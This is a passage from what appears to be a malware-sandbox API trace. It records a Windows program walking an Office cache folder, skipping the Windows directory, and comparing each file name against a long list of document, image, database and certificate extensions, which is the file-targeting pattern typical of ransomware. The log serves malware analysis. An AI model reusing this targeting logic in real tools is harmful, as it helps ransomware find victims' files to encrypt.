dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.331] FindNextFileW (in: hFindFile=0x6b42a8, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0047.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 67 [0047.331] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 1 [0047.331] lstrlenW (lpString="1033") returned 4 [0047.331] lstrcmpiW (lpString1="C:\\Windows", lpString2="1033") returned 1 [0047.331] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3f75880 [0047.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 67 [0047.332] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4468 [0047.332] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.332] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0047.332] lstrlenW (lpString="dwintl20.dll") returned 12 [0047.332] lstrlenW (lpString=".1cd") returned 4 [0047.332] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.332] lstrlenW (lpString=".3ds") returned 4 [0047.332] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0047.332] lstrlenW (lpString=".3fr") returned 4 [0047.332] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0047.332] lstrlenW (lpString=".3g2") returned 4 [0047.332] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0047.332] lstrlenW (lpString=".3gp") returned 4 [0047.332] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0047.332] lstrlenW (lpString=".7z") returned 3 [0047.332] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.332] lstrlenW (lpString=".accda") returned 6 [0047.332] lstrcmpiW (lpString1=".accda", lpString2="20.dll") returned -1 [0047.333] lstrlenW (lpString=".accdb") returned 6 [0047.333] lstrcmpiW (lpString1=".accdb", lpString2="20.dll") returned -1 [0047.333] lstrlenW (lpString=".accdc") returned 6 [0047.333] lstrcmpiW (lpString1=".accdc", lpString2="20.dll") returned -1 [0047.333] lstrlenW (lpString=".accde") returned 6 [0047.333] lstrcmpiW (lpString1=".accde", lpString2="20.dll") returned -1 [0047.333] lstrlenW (lpString=".accdt") returned 6 [0047.333] lstrcmpiW (lpString1=".accdt", lpString2="20.dll") returned -1 [0047.333] lstrlenW (lpString=".accdw") returned 6 [0047.333] lstrcmpiW (lpString1=".accdw", lpString2="20.dll") returned -1 [0047.333] lstrlenW (lpString=".adb") returned 4 [0047.333] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0047.333] lstrlenW (lpString=".adp") returned 4 [0047.333] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0047.333] lstrlenW (lpString=".ai") returned 3 [0047.333] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0047.333] lstrlenW (lpString=".ai3") returned 4 [0047.333] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0047.333] lstrlenW (lpString=".ai4") returned 4 [0047.333] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0047.333] lstrlenW (lpString=".ai5") returned 4 [0047.333] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0047.333] lstrlenW (lpString=".ai6") returned 4 [0047.334] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".ai7") returned 4 [0047.334] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".ai8") returned 4 [0047.334] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".anim") returned 5 [0047.334] lstrcmpiW (lpString1=".anim", lpString2="0.dll") returned -1 [0047.334] lstrlenW (lpString=".arw") returned 4 [0047.334] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".as") returned 3 [0047.334] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0047.334] lstrlenW (lpString=".asa") returned 4 [0047.334] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".asc") returned 4 [0047.334] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".ascx") returned 5 [0047.334] lstrcmpiW (lpString1=".ascx", lpString2="0.dll") returned -1 [0047.334] lstrlenW (lpString=".asm") returned 4 [0047.334] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".asmx") returned 5 [0047.334] lstrcmpiW (lpString1=".asmx", lpString2="0.dll") returned -1 [0047.334] lstrlenW (lpString=".asp") returned 4 [0047.334] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0047.334] lstrlenW (lpString=".aspx") returned 5 [0047.335] lstrcmpiW (lpString1=".aspx", lpString2="0.dll") returned -1 [0047.335] lstrlenW (lpString=".asr") returned 4 [0047.335] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".asx") returned 4 [0047.335] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".avi") returned 4 [0047.335] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".avs") returned 4 [0047.335] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".backup") returned 7 [0047.335] lstrcmpiW (lpString1=".backup", lpString2="l20.dll") returned -1 [0047.335] lstrlenW (lpString=".bak") returned 4 [0047.335] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".bay") returned 4 [0047.335] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".bd") returned 3 [0047.335] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0047.335] lstrlenW (lpString=".bin") returned 4 [0047.335] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".bmp") returned 4 [0047.335] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0047.335] lstrlenW (lpString=".bz2") returned 4 [0047.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.336] lstrlenW (lpString=".c") returned 2 [0047.336] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0047.336] lstrlenW (lpString=".cdr") returned 4 [0047.336] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0047.336] lstrlenW (lpString=".cer") returned 4 [0047.336] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0047.336] lstrlenW (lpString=".cf") returned 3 [0047.336] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0047.336] lstrlenW (lpString=".cfc") returned 4 [0047.336] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0047.336] lstrlenW (lpString=".cfm") returned 4 [0047.336] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0047.336] lstrlenW (lpString=".cfml") returned 5 [0047.336] lstrcmpiW (lpString1=".cfml", lpString2="0.dll") returned -1 [0047.336] lstrlenW (lpString=".cfu") returned 4 [0047.336] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0047.336] lstrlenW (lpString=".chm") returned 4 [0047.336] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0047.336] lstrlenW (lpString=".cin") returned 4 [0047.336] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".class") returned 6 [0047.337] lstrcmpiW (lpString1=".class", lpString2="20.dll") returned -1 [0047.337] lstrlenW (lpString=".clx") returned 4 [0047.337] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".config") returned 7 [0047.337] lstrcmpiW (lpString1=".config", lpString2="l20.dll") returned -1 [0047.337] lstrlenW (lpString=".cpp") returned 4 [0047.337] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".cr2") returned 4 [0047.337] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".crt") returned 4 [0047.337] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".crw") returned 4 [0047.337] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".cs") returned 3 [0047.337] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0047.337] lstrlenW (lpString=".css") returned 4 [0047.337] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".csv") returned 4 [0047.337] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0047.337] lstrlenW (lpString=".cub") returned 4 [0047.337] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dae") returned 4 [0047.338] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dat") returned 4 [0047.338] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".db") returned 3 [0047.338] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0047.338] lstrlenW (lpString=".dbf") returned 4 [0047.338] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dbx") returned 4 [0047.338] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dc3") returned 4 [0047.338] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dcm") returned 4 [0047.338] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dcr") returned 4 [0047.338] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".der") returned 4 [0047.338] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dib") returned 4 [0047.338] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0047.338] lstrlenW (lpString=".dic") returned 4 [0047.339] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0047.339] lstrlenW (lpString=".dif") returned 4 [0047.339] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0047.339] lstrlenW (lpString=".divx") returned 5 [0047.339] lstrcmpiW (lpString1=".divx", lpString2="0.dll") returned -1 [0047.339] lstrlenW (lpString=".djvu") returned 5 [0047.339] lstrcmpiW (lpString1=".djvu", lpString2="0.dll") returned -1 [0047.339] lstrlenW (lpString=".dng") returned 4 [0047.339] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0047.339] lstrlenW (lpString=".doc") returned 4 [0047.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.339] lstrlenW (lpString=".docm") returned 5 [0047.339] lstrcmpiW (lpString1=".docm", lpString2="0.dll") returned -1 [0047.339] lstrlenW (lpString=".docx") returned 5 [0047.339] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0047.339] lstrlenW (lpString=".dot") returned 4 [0047.339] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0047.339] lstrlenW (lpString=".dotm") returned 5 [0047.339] lstrcmpiW (lpString1=".dotm", lpString2="0.dll") returned -1 [0047.339] lstrlenW (lpString=".dotx") returned 5 [0047.339] lstrcmpiW (lpString1=".dotx", lpString2="0.dll") returned -1 [0047.339] lstrlenW (lpString=".dpx") returned 4 [0047.340] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".dqy") returned 4 [0047.340] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".dsn") returned 4 [0047.340] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".dt") returned 3 [0047.340] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0047.340] lstrlenW (lpString=".dtd") returned 4 [0047.340] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".dwg") returned 4 [0047.340] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".dwt") returned 4 [0047.340] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".dx") returned 3 [0047.340] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0047.340] lstrlenW (lpString=".dxf") returned 4 [0047.340] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".edml") returned 5 [0047.340] lstrcmpiW (lpString1=".edml", lpString2="0.dll") returned -1 [0047.340] lstrlenW (lpString=".efd") returned 4 [0047.340] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0047.340] lstrlenW (lpString=".elf") returned 4 [0047.340] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".emf") returned 4 [0047.341] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".emz") returned 4 [0047.341] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".epf") returned 4 [0047.341] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".eps") returned 4 [0047.341] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".epsf") returned 5 [0047.341] lstrcmpiW (lpString1=".epsf", lpString2="0.dll") returned -1 [0047.341] lstrlenW (lpString=".epsp") returned 5 [0047.341] lstrcmpiW (lpString1=".epsp", lpString2="0.dll") returned -1 [0047.341] lstrlenW (lpString=".erf") returned 4 [0047.341] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".exr") returned 4 [0047.341] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".f4v") returned 4 [0047.341] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0047.341] lstrlenW (lpString=".fido") returned 5 [0047.341] lstrcmpiW (lpString1=".fido", lpString2="0.dll") returned -1 [0047.341] lstrlenW (lpString=".flm") returned 4 [0047.342] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".flv") returned 4 [0047.342] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".frm") returned 4 [0047.342] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".fxg") returned 4 [0047.342] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".geo") returned 4 [0047.342] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".gif") returned 4 [0047.342] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".grs") returned 4 [0047.342] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".gz") returned 3 [0047.342] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0047.342] lstrlenW (lpString=".h") returned 2 [0047.342] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0047.342] lstrlenW (lpString=".hdr") returned 4 [0047.342] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".hpp") returned 4 [0047.342] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0047.342] lstrlenW (lpString=".hta") returned 4 [0047.343] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".htc") returned 4 [0047.343] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".htm") returned 4 [0047.343] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".html") returned 5 [0047.343] lstrcmpiW (lpString1=".html", lpString2="0.dll") returned -1 [0047.343] lstrlenW (lpString=".icb") returned 4 [0047.343] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".ics") returned 4 [0047.343] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".iff") returned 4 [0047.343] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".inc") returned 4 [0047.343] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".indd") returned 5 [0047.343] lstrcmpiW (lpString1=".indd", lpString2="0.dll") returned -1 [0047.343] lstrlenW (lpString=".ini") returned 4 [0047.343] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".iqy") returned 4 [0047.343] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0047.343] lstrlenW (lpString=".j2c") returned 4 [0047.344] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0047.344] lstrlenW (lpString=".j2k") returned 4 [0047.344] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0047.344] lstrlenW (lpString=".java") returned 5 [0047.344] lstrcmpiW (lpString1=".java", lpString2="0.dll") returned -1 [0047.344] lstrlenW (lpString=".jp2") returned 4 [0047.344] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0047.344] lstrlenW (lpString=".jpc") returned 4 [0047.344] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0047.344] lstrlenW (lpString=".jpe") returned 4 [0047.344] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0047.344] lstrlenW (lpString=".jpeg") returned 5 [0047.344] lstrcmpiW (lpString1=".jpeg", lpString2="0.dll") returned -1 [0047.344] lstrlenW (lpString=".jpf") returned 4 [0047.344] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0047.344] lstrlenW (lpString=".jpg") returned 4 [0047.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.345] lstrlenW (lpString=".jpx") returned 4 [0047.345] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0047.345] lstrlenW (lpString=".js") returned 3 [0047.345] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0047.345] lstrlenW (lpString=".jsf") returned 4 [0047.345] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0047.345] lstrlenW (lpString=".json") returned 5 [0047.345] lstrcmpiW (lpString1=".json", lpString2="0.dll") returned -1 [0047.345] lstrlenW (lpString=".jsp") returned 4 [0047.345] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0047.345] lstrlenW (lpString=".kdc") returned 4 [0047.345] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".kmz") returned 4 [0047.346] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".kwm") returned 4 [0047.346] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".lasso") returned 6 [0047.346] lstrcmpiW (lpString1=".lasso", lpString2="20.dll") returned -1 [0047.346] lstrlenW (lpString=".lbi") returned 4 [0047.346] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".lgf") returned 4 [0047.346] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".lgp") returned 4 [0047.346] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".log") returned 4 [0047.346] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".m1v") returned 4 [0047.346] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".m4a") returned 4 [0047.346] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".m4v") returned 4 [0047.346] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0047.346] lstrlenW (lpString=".max") returned 4 [0047.346] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0047.347] lstrlenW (lpString=".md") returned 3 [0047.347] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0047.347] lstrlenW (lpString=".mda") returned 4 [0047.347] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0047.347] lstrlenW (lpString=".mdb") returned 4 [0047.347] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0047.347] lstrlenW (lpString=".mde") returned 4 [0047.347] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0047.347] lstrlenW (lpString=".mdf") returned 4 [0047.347] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0047.347] lstrlenW (lpString=".mdw") returned 4 [0047.347] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0047.347] lstrlenW (lpString=".mef") returned 4 [0047.347] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0047.347] lstrlenW (lpString=".mft") returned 4 [0047.347] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mfw") returned 4 [0047.348] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mht") returned 4 [0047.348] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mhtml") returned 6 [0047.348] lstrcmpiW (lpString1=".mhtml", lpString2="20.dll") returned -1 [0047.348] lstrlenW (lpString=".mka") returned 4 [0047.348] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mkidx") returned 6 [0047.348] lstrcmpiW (lpString1=".mkidx", lpString2="20.dll") returned -1 [0047.348] lstrlenW (lpString=".mkv") returned 4 [0047.348] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mos") returned 4 [0047.348] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mov") returned 4 [0047.348] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mp3") returned 4 [0047.348] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mp4") returned 4 [0047.348] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0047.348] lstrlenW (lpString=".mpeg") returned 5 [0047.348] lstrcmpiW (lpString1=".mpeg", lpString2="0.dll") returned -1 [0047.348] lstrlenW (lpString=".mpg") returned 4 [0047.348] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".mpv") returned 4 [0047.349] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".mrw") returned 4 [0047.349] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".msg") returned 4 [0047.349] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".mxl") returned 4 [0047.349] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".myd") returned 4 [0047.349] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".myi") returned 4 [0047.349] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".nef") returned 4 [0047.349] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".nrw") returned 4 [0047.349] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".obj") returned 4 [0047.349] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".odb") returned 4 [0047.349] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".odc") returned 4 [0047.349] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0047.349] lstrlenW (lpString=".odm") returned 4 [0047.350] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".odp") returned 4 [0047.350] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".ods") returned 4 [0047.350] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".oft") returned 4 [0047.350] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".one") returned 4 [0047.350] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".onepkg") returned 7 [0047.350] lstrcmpiW (lpString1=".onepkg", lpString2="l20.dll") returned -1 [0047.350] lstrlenW (lpString=".onetoc2") returned 8 [0047.350] lstrcmpiW (lpString1=".onetoc2", lpString2="tl20.dll") returned -1 [0047.350] lstrlenW (lpString=".opt") returned 4 [0047.350] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".oqy") returned 4 [0047.350] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".orf") returned 4 [0047.350] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".p12") returned 4 [0047.350] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".p7b") returned 4 [0047.350] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0047.350] lstrlenW (lpString=".p7c") returned 4 [0047.351] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pam") returned 4 [0047.351] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pbm") returned 4 [0047.351] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pct") returned 4 [0047.351] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pcx") returned 4 [0047.351] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pdd") returned 4 [0047.351] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pdf") returned 4 [0047.351] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.351] lstrlenW (lpString=".pdp") returned 4 [0047.351] lstrcmpiW 